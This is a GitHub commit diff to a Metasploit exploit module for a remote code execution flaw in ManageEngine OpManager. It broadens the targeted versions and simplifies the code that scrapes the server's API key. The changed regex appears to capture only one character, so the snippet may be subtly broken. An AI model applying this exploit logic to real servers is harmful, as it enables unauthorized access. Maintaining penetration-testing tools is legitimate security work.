Skip to content

Commit 18fa411

Browse files
author
Sara Perez
committed
Updated with Egypt's suggestion, also changed the target name to include other versions
1 parent 178d680 commit 18fa411

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/exploits/windows/http/manage_engine_opmanager_rce.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
4040
'Arch' => ARCH_JAVA,
4141
'Targets' =>
4242
[
43-
['ManageEngine OpManager v11.6', {}]
43+
['ManageEngine OpManager <= v11.6', {}]
4444
],
4545
'Privileged' => false,
4646
'DisclosureDate' => 'Sep 14 2015',
@@ -121,14 +121,8 @@ def exploit
121121
'uri' => redirect,
122122
'method' => 'GET'
123123
})
124-
if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
125-
version = $1
126-
else
127-
fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use")
128-
end
129124

130-
if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/))
131-
# the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same.
125+
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
132126
api_key = $1
133127
print_status("Retrieved API key [ #{api_key} ]")
134128
else

0 commit comments

Comments
 (0)